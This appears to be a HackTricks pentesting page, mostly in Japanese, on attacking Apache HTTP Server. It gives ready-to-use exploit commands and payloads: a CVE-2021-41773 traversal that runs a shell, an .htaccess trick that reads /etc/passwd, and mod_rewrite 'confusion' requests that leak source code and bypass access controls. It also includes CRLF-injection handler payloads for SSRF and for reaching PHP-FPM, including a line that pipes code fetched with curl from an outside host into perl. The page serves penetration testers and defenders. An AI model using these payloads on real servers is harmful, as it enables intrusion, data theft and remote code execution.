Apache

Reading time: 17 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

実行されているPHP拡張

Apacheサーバーが実行しているPHP拡張を確認します。これらを検索するには、次のコマンドを実行できます:

bash
grep -R -B1 "httpd-php" /etc/apache2

また、この設定が見つかる場所には次のようなものがあります:

bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

LFI — .htaccess の ErrorDocument file provider (ap_expr) を経由

あるディレクトリの .htaccess を制御でき、当該パスに対して AllowOverride に FileInfo が含まれている場合、ErrorDocument 内で ap_expr の file() 関数を使用して 404 応答を任意のローカルファイル読み取りに変換できます。

  • 要件:
  • Apache 2.4 で expression parser (ap_expr) が有効になっていること(2.4 ではデフォルト)。
  • vhost/dir が .htaccess による ErrorDocument の設定を許可している必要があります(AllowOverride FileInfo)。
  • Apache の worker ユーザーがターゲットファイルに対して読み取り権限を持っている必要があります。

.htaccess payload:

apache
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}

そのディレクトリ以下の存在しないパスをリクエストすることでトリガーします。例えば、userdir-style hosting を悪用する場合など:

bash
curl -s http://target/~user/does-not-exist | sed -n '1,20p'

メモとヒント:

  • 絶対パスのみが機能します。コンテンツは404ハンドラのレスポンスボディとして返されます。
  • 実際の読み取り権限は Apache ユーザ(通常は www-data/apache)の権限になります。デフォルト設定では /root/* や /etc/shadow を読むことはできません。
  • たとえ .htaccess が root 所有でも、親ディレクトリがテナント所有で rename を許可している場合、元の .htaccess をリネームして SFTP/FTP 経由で自分の置き換えをアップロードできることがあります:
  • rename .htaccess .htaccess.bk
  • put your malicious .htaccess
  • これを利用して DocumentRoot や vhost の設定パス下のアプリケーションソースを読み取り、シークレット(DB creds、API keys など)を収集できます。

Confusion Attack

These types of attacks has been introduced and documented by Orange in this blog post and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.

Filename Confusion

Truncation

The mod_rewrite will trim the content of r->filename after the character ? (modules/mappers/mod_rewrite.c#L4141). This isn't totally wrong as most modules will treat r->filename as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.

  • Path Truncation

It's possible to abuse mod_rewrite like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a ?:

bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
  • Mislead RewriteFlag Assignment

以下の rewrite rule では、URL が .php で終わる限り、それは php として扱われ実行されます。したがって、パスに(画像など)別の種類のファイルを読み込ませつつ、? 以降に .php で終わる URL を送信して、その中に悪意のある php コードを含めることが可能です:

bash
RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

以下のような設定では、本来アクセスが拒否されるべきファイルにユーザーがアクセスできてしまうことがある:

xml
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

これは、デフォルトで PHP-FPM が .php で終わる URL(例: http://server/admin.php%3Fooo.php)を受け取り、さらに PHP-FPM が文字 ? 以降を削除するため、前述の URL は前のルールで禁止されていても /admin.php を読み込めてしまうためです。

DocumentRoot の混乱

bash
DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

Apacheに関する面白い事実として、前述のrewriteはdocumentRootとrootの両方からファイルにアクセスしようとします。したがって、https://server/abouth.html へのリクエストはファイルシステムの /var/www/html/about.html/about.html の両方を確認します。これは基本的にファイルシステム内のファイルにアクセスするために悪用できます。

サーバーサイドのソースコード公開

  • CGIソースコードの公開

末尾に%3Fを追加するだけで、cgi moduleのソースコードをleakするのに十分です:

bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
  • PHP ソースコードを公開する

サーバーが複数のドメインを持ち、そのうちの1つが静的ドメインである場合、これを悪用してファイルシステムを横断し、php code を leak することができます:

bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

Local Gadgets Manipulation

前の攻撃の主な問題点は、デフォルトではファイルシステムへのほとんどのアクセスが拒否されることであり、これは Apache HTTP Server の configuration template:

xml
<Directory />
AllowOverride None
Require all denied
</Directory>

ただし、Debian/Ubuntu オペレーティングシステムはデフォルトで /usr/share を許可しています:

xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

Therefore, it would be possible to abuse files located inside /usr/share in these distributions.

Local Gadget to Information Disclosure

  • Apache HTTP Server with websocketd may expose the dump-env.php script at /usr/share/doc/websocketd/examples/php/, which can leak sensitive environment variables.
  • Servers with Nginx or Jetty might expose sensitive web application information (e.g., web.xml) through their default web roots placed under /usr/share:
  • /usr/share/nginx/html/
  • /usr/share/jetty9/etc/
  • /usr/share/jetty9/webapps/

Local Gadget to XSS

  • Ubuntu Desktop に LibreOffice がインストールされている環境では、ヘルプファイルの言語切替機能を悪用することで Cross-Site Scripting (XSS) を引き起こす可能性があります。/usr/share/libreoffice/help/help.html の URL を操作することで、unsafe RewriteRule を介して悪意のあるページや古いバージョンへリダイレクトされる場合があります。

Local Gadget to LFI

  • PHP や JpGraphjQuery-jFeed などのフロントエンドパッケージがインストールされている場合、それらのファイルを悪用して /etc/passwd のような機密ファイルを読み取れる可能性があります:
  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
  • /usr/share/javascript/jquery-jfeed/proxy.php
  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Local Gadget to SSRF

  • MagpieRSSmagpie_debug.php/usr/share/php/magpierss/scripts/magpie_debug.php)を利用すると、簡単に SSRF 脆弱性を作り出すことができ、さらなる攻撃への足掛かりになります。

Local Gadget to RCE

  • 古い PHPUnitphpLiteAdmin のような脆弱なインストールが存在すると、任意のコード実行(Remote Code Execution (RCE))の機会が多く、ローカルガジェットの悪用で広範な攻撃が可能になります。

Jailbreak from Local Gadgets

インストールされたソフトウェアがこれらのフォルダ内に作成するシンボリックリンクを辿ることで、許可されたフォルダから jailbreak することも可能です。例:

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

さらに、シンボリックリンクを悪用することで Redmine に対して RCE を得られた事例もあります。

Handler Confusion

この攻撃は AddHandlerAddType 指令の機能重複を突くもので、どちらも PHP 処理を有効化 するために使われ得ます。もともとこれらの指令はサーバ内部構造の異なるフィールド(それぞれ r->handlerr->content_type)に影響を与えていました。しかし、レガシーコードのために、特定の条件下では Apache はこれらの指令を相互に扱い、r->content_type が設定され r->handler が設定されていない場合に r->content_typer->handler に変換します。

さらに、Apache HTTP Server(server/config.c#L420)では、ap_run_handler() 実行前に r->handler が空であれば、サーバは r->content_type を handler として使用 します。これにより AddTypeAddHandler の効果が事実上同一になります。

Overwrite Handler to Disclose PHP Source Code

この講演 では、クライアントが不正な Content-Length を送信すると Apache が誤って PHP ソースコードを返してしまう 脆弱性が紹介されました。これは ModSecurity と Apache Portable Runtime (APR) のエラーハンドリングの問題で、二重レスポンスが発生すると r->content_typetext/html に上書きされるためです。
ModSecurity が戻り値を適切に扱わないため、PHP コードを返し解釈しないという状況が発生しました。

Overwrite Handler to XXXX

TODO: Orange はこの脆弱性をまだ公開していません

Invoke Arbitrary Handlers

攻撃者がレスポンスの Content-Type ヘッダを制御できるようになると、任意のモジュールハンドラを invoke できるようになります。ただし、その時点までにリクエストの大半は既に処理済みであることが多いです。しかし、Location ヘッダを悪用してリクエスト処理を再起動することが可能です。返された Status が 200 で Location ヘッダが / で始まる場合、そのレスポンスは Server-Side Redirection と扱われ再処理されます。

RFC 3875(CGI に関する仕様)の Section 6.2.2 は Local Redirect Response の振る舞いを定義しています:

The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.

したがって、この攻撃を行うには次のいずれかの脆弱性が必要です:

  • CRLF Injection in the CGI response headers
  • SSRF with complete control of the response headers

Arbitrary Handler to Information Disclosure

For example /server-status should only be accessible locally:

xml
<Location /server-status>
SetHandler server-status
Require local
</Location>

Content-Typeserver-status に設定し、Location ヘッダを / で始まるようにするとアクセスできます

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Arbitrary Handler to Full SSRF

任意のプロトコルや任意のURLにアクセスするために mod_proxy にリダイレクトする:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

しかし、X-Forwarded-For ヘッダが追加されているため、クラウドメタデータエンドポイントへのアクセスがブロックされます。

ローカル Unix Domain Socket にアクセスする任意のハンドラ

PHP-FPM のローカル Unix Domain Socket にアクセスして /tmp/ にある PHP backdoor を実行します:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Arbitrary Handler to RCE

公式の PHP Docker イメージには PEAR (Pearcmd.php) が含まれており、これはコマンドラインの PHP パッケージ管理ツールで、悪用すると RCE を取得できます:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

この手法の詳細については、Docker PHP LFI Summary(著者:Phith0n)を参照してください。

参考資料

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする